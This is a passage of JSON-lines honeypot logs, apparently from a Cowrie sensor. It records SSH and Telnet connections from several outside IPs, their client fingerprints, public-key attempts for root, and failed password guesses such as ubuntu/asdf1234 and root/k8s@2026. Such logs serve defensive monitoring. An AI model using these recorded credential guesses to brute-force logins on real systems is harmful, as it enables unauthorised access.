.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:55.436452Z","src_ip":"23.95.20.168","session":"326df9bab93b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:76:52:40:e4:6a:8b:03:c7:ec:f0:3a:a0:b0:3c:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6tVcERORlM1WYZEoM+0SKdrh1CZqLGK5Z4NQchVCIOYJoIhT+gnx7twCrYQIvLyntaFbvK6mu0J4lsvWzdmdbEGPT31VGf3bR8C105o/upbMmCrCCMVxxI+1awcVzzSEqHm4fwDA+WCnY4IqX2jGSrjdqC7UAa3X2ChTKCI+y+wl7nWvXtgIXuL3cUBkfeolffwplUtQy8ibyBH0uedo7Ot7KJR01TwUdT5inCgF9A1BH9qMbQPwlm7kgHs6s75ZMWTW++XqJsyKO5J4dUFZ/j8LAcVwCwzy36T/KYh16uV300uCRiVYQIhW10QaQSf6LwrUUgTMWFJlqi03XLrOL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:76:52:40:e4:6a:8b:03:c7:ec:f0:3a:a0:b0:3c:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:55.779176Z","src_ip":"23.95.20.168","session":"326df9bab93b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:76:52:40:e4:6a:8b:03:c7:ec:f0:3a:a0:b0:3c:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC6tVcERORlM1WYZEoM+0SKdrh1CZqLGK5Z4NQchVCIOYJoIhT+gnx7twCrYQIvLyntaFbvK6mu0J4lsvWzdmdbEGPT31VGf3bR8C105o/upbMmCrCCMVxxI+1awcVzzSEqHm4fwDA+WCnY4IqX2jGSrjdqC7UAa3X2ChTKCI+y+wl7nWvXtgIXuL3cUBkfeolffwplUtQy8ibyBH0uedo7Ot7KJR01TwUdT5inCgF9A1BH9qMbQPwlm7kgHs6s75ZMWTW++XqJsyKO5J4dUFZ/j8LAcVwCwzy36T/KYh16uV300uCRiVYQIhW10QaQSf6LwrUUgTMWFJlqi03XLrOL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:55.784135Z","src_ip":"23.95.20.168","session":"326df9bab93b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:28:98:5b:d4:23:ec:e4:8a:34:f3:12:6d:53:73:e0","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANyCVTs84tDpjS8laj29dodmTicH6woxlfFykpd4UgYvafm8cei5nCpYDFptwknKrSEsCCsL3N3rF9RC/kQpJMSBhyNeBwulHZwjU/SJti4Iak9xbWMPpM66keiNrSMUy7/A1ELWfoQRIERxJ6UUiuYlOZjFWBI1TeUZ+41oueerAAAAFQDTwv1ds7AHA7t0zel8IOQSXJj6nwAAAIAD3FalNzl6ufmVYzQqaLAMgNxoaayLHAD5JOiCbk3oEKsSvQMhvkoYPXuRII3aNs6xCZuA94RcK3e80HkoFA97lfQb9PFrRFrd406m6eS+uVDKYdRAEGCnqQkN5JR3UJxC0CbhU7Sn2PItUM5iccV4xnQ381ylLh1g++LnL8GyvAAAAIEArBEzNUVh1OHvWmHDn9yl70KUeTwepmGi50Y+PfcMaexdC7ZwpmhbE+/oOxVo4sBsGVy1TG3/VzGk1iKFjzUk0LaSxrarHhLACPbQd1Uaz3Rz9PjBCI37OrtNSxtS+Y64OYQACz4kQz0SCjPUVsXUZc5Uv4zbifnubWIkd5FVSlg=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 8e:28:98:5b:d4:23:ec:e4:8a:34:f3:12:6d:53:73:e0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:55.859985Z","src_ip":"23.95.20.168","session":"326df9bab93b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:28:98:5b:d4:23:ec:e4:8a:34:f3:12:6d:53:73:e0","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANyCVTs84tDpjS8laj29dodmTicH6woxlfFykpd4UgYvafm8cei5nCpYDFptwknKrSEsCCsL3N3rF9RC/kQpJMSBhyNeBwulHZwjU/SJti4Iak9xbWMPpM66keiNrSMUy7/A1ELWfoQRIERxJ6UUiuYlOZjFWBI1TeUZ+41oueerAAAAFQDTwv1ds7AHA7t0zel8IOQSXJj6nwAAAIAD3FalNzl6ufmVYzQqaLAMgNxoaayLHAD5JOiCbk3oEKsSvQMhvkoYPXuRII3aNs6xCZuA94RcK3e80HkoFA97lfQb9PFrRFrd406m6eS+uVDKYdRAEGCnqQkN5JR3UJxC0CbhU7Sn2PItUM5iccV4xnQ381ylLh1g++LnL8GyvAAAAIEArBEzNUVh1OHvWmHDn9yl70KUeTwepmGi50Y+PfcMaexdC7ZwpmhbE+/oOxVo4sBsGVy1TG3/VzGk1iKFjzUk0LaSxrarHhLACPbQd1Uaz3Rz9PjBCI37OrtNSxtS+Y64OYQACz4kQz0SCjPUVsXUZc5Uv4zbifnubWIkd5FVSlg=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:55.863767Z","src_ip":"23.95.20.168","session":"326df9bab93b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:31:88:82:90:6e:88:e5:c3:84:fd:e6:e0:11:b3:68","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHFJ90GlgbovP4RCrus3CkUfuS51wwIQ3UN3bahQmNs2","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint af:31:88:82:90:6e:88:e5:c3:84:fd:e6:e0:11:b3:68","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:55.939096Z","src_ip":"23.95.20.168","session":"326df9bab93b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"af:31:88:82:90:6e:88:e5:c3:84:fd:e6:e0:11:b3:68","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHFJ90GlgbovP4RCrus3CkUfuS51wwIQ3UN3bahQmNs2","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:55.953406Z","src_ip":"23.95.20.168","session":"326df9bab93b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8e:6d:c4:67:c3:36:76:d7:8d:bb:65:a7:45:bb:d4:7c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAjQ0zA7SYi8QgnmmZx147goX4yk6WEO1FG9zU1pLYN+","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 8e:6d:c4:67:c3:36:76:d7:8d:bb:65:a7:45:bb:d4:7c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:56.027326Z","src_ip":"23.95.20.168","session":"326df9bab93b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8e:6d:c4:67:c3:36:76:d7:8d:bb:65:a7:45:bb:d4:7c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAjQ0zA7SYi8QgnmmZx147goX4yk6WEO1FG9zU1pLYN+","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:56.031512Z","src_ip":"23.95.20.168","session":"326df9bab93b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"19:53:25:81:54:01:e5:5c:62:77:ba:72:24:d2:99:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyQBYtFnwz6Tj3dUAEaj1UVbexIhX4vXiFHaeyQb8BhOATjRBsaF5GsxQAmXLjr71EjYQf/wp45sMkjU3sIlfaDqXSR+0VTbPl1ZYWSL3dm6pAB9v5OccAAJpw1fC/QX670fUPhrTegArUEMxQMif7c/5V2mQTTzxsPAFOKWZsst22/Iql2W5FAMRR8cojxYeEBUdw62ScoBIedH5wWTZfMGTOJreQYskP0YxXKeCSMMTB5z1fDFBv0Q0R9Jj8KvvwNFDuZJDnKri8mGh744ZgjMNToXcJDJB0nTQnbLJHLphbSLmJW/fYvQvUS/nBXzlNsCsTmaRAdMXBWGXpXjv0Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 19:53:25:81:54:01:e5:5c:62:77:ba:72:24:d2:99:ca","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:56.105258Z","src_ip":"23.95.20.168","session":"326df9bab93b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"19:53:25:81:54:01:e5:5c:62:77:ba:72:24:d2:99:ca","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyQBYtFnwz6Tj3dUAEaj1UVbexIhX4vXiFHaeyQb8BhOATjRBsaF5GsxQAmXLjr71EjYQf/wp45sMkjU3sIlfaDqXSR+0VTbPl1ZYWSL3dm6pAB9v5OccAAJpw1fC/QX670fUPhrTegArUEMxQMif7c/5V2mQTTzxsPAFOKWZsst22/Iql2W5FAMRR8cojxYeEBUdw62ScoBIedH5wWTZfMGTOJreQYskP0YxXKeCSMMTB5z1fDFBv0Q0R9Jj8KvvwNFDuZJDnKri8mGh744ZgjMNToXcJDJB0nTQnbLJHLphbSLmJW/fYvQvUS/nBXzlNsCsTmaRAdMXBWGXpXjv0Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:56.109185Z","src_ip":"23.95.20.168","session":"326df9bab93b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:32:56.182312Z","src_ip":"23.95.20.168","session":"326df9bab93b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":38662,"dst_ip":"10.17.0.5","dst_port":22,"session":"982306e1d833","protocol":"ssh","message":"New connection: 200.39.46.41:38662 (10.17.0.5:22) [session: 982306e1d833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:33:23.787066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:33:23.791448Z","src_ip":"200.39.46.41","session":"982306e1d833","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:33:23.936116Z","src_ip":"200.39.46.41","session":"982306e1d833","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"mine","message":"login attempt [minecraft/mine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:33:24.564957Z","src_ip":"200.39.46.41","session":"982306e1d833","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:33:25.715390Z","src_ip":"200.39.46.41","session":"982306e1d833","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":56832,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef69be59e61e","protocol":"telnet","message":"New connection: 167.71.238.254:56832 (10.17.0.5:23) [session: ef69be59e61e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:33:27.618581Z"}
{"eventid":"cowrie.session.closed","duration":27.968934535980225,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:33:55.587382Z","src_ip":"167.71.238.254","session":"ef69be59e61e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":97.07464647293091,"message":"Connection lost after 97 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:34:19.878153Z","src_ip":"167.71.238.254","session":"8a62a4ed6767","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":39052,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b08c167b156","protocol":"ssh","message":"New connection: 200.39.46.41:39052 (10.17.0.5:22) [session: 2b08c167b156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:34:46.618588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:34:46.623916Z","src_ip":"200.39.46.41","session":"2b08c167b156","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:34:46.768743Z","src_ip":"200.39.46.41","session":"2b08c167b156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdf1234","message":"login attempt [ubuntu/asdf1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:34:47.383065Z","src_ip":"200.39.46.41","session":"2b08c167b156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:34:48.531386Z","src_ip":"200.39.46.41","session":"2b08c167b156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":57064,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd8f560410e1","protocol":"ssh","message":"New connection: 80.94.92.168:57064 (10.17.0.5:22) [session: fd8f560410e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:35:25.253323Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:35:25.357505Z","src_ip":"80.94.92.168","session":"fd8f560410e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.46.41","src_port":58508,"dst_ip":"10.17.0.5","dst_port":22,"session":"683f6d1a2fbb","protocol":"ssh","message":"New connection: 200.39.46.41:58508 (10.17.0.5:22) [session: 683f6d1a2fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:07.789038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:07.797118Z","src_ip":"200.39.46.41","session":"683f6d1a2fbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:07.943398Z","src_ip":"200.39.46.41","session":"683f6d1a2fbb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"k8s@2026","message":"login attempt [root/k8s@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:08.559725Z","src_ip":"200.39.46.41","session":"683f6d1a2fbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.127.60.187","src_port":35008,"dst_ip":"10.17.0.5","dst_port":22,"session":"7013fbfcef1e","protocol":"ssh","message":"New connection: 199.127.60.187:35008 (10.17.0.5:22) [session: 7013fbfcef1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:08.766363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:08.771049Z","src_ip":"199.127.60.187","session":"7013fbfcef1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:08.810045Z","src_ip":"199.127.60.187","session":"7013fbfcef1e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:39:54:a8:d3:0e:8f:ad:7f:6b:b9:a4:36:3b:46:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeuDmYyoBw5NG53hy3+dDr2KkXxlhSCXHd5dsPrul4Tho+BUmIZpBImr8LOd+TaeSno1zxP1TRoHFJKyFWN5GEi3oDhMqMvGMafXMtk5psnHD7CiTVUIAcmnOqHxdFbTzj6qgACx1gqOEaJ16kKcMRlfU6XPvKRkbfYjDoRtq0ph4Y/+KTELW0UKim09irGzg71hDXZhwuHdeMgTiTfal784VBe9IpaakootB8WO0Q17Emwkd4BiXPgN7pvD1d4dzRmcq0DIcOL8hnxvBYIvhPZf/32fTthcYeog/b/YuvKeKp6Wx9h3PeGDmj3AiWjXqtiMmBxvOgeO5cqqokT6ej","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:39:54:a8:d3:0e:8f:ad:7f:6b:b9:a4:36:3b:46:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:08.984360Z","src_ip":"199.127.60.187","session":"7013fbfcef1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:39:54:a8:d3:0e:8f:ad:7f:6b:b9:a4:36:3b:46:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeuDmYyoBw5NG53hy3+dDr2KkXxlhSCXHd5dsPrul4Tho+BUmIZpBImr8LOd+TaeSno1zxP1TRoHFJKyFWN5GEi3oDhMqMvGMafXMtk5psnHD7CiTVUIAcmnOqHxdFbTzj6qgACx1gqOEaJ16kKcMRlfU6XPvKRkbfYjDoRtq0ph4Y/+KTELW0UKim09irGzg71hDXZhwuHdeMgTiTfal784VBe9IpaakootB8WO0Q17Emwkd4BiXPgN7pvD1d4dzRmcq0DIcOL8hnxvBYIvhPZf/32fTthcYeog/b/YuvKeKp6Wx9h3PeGDmj3AiWjXqtiMmBxvOgeO5cqqokT6ej","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T04:36:08.987815Z","src_ip":"199.127.60.187","session":"7013fbfcef1e","protocol":"ssh"}
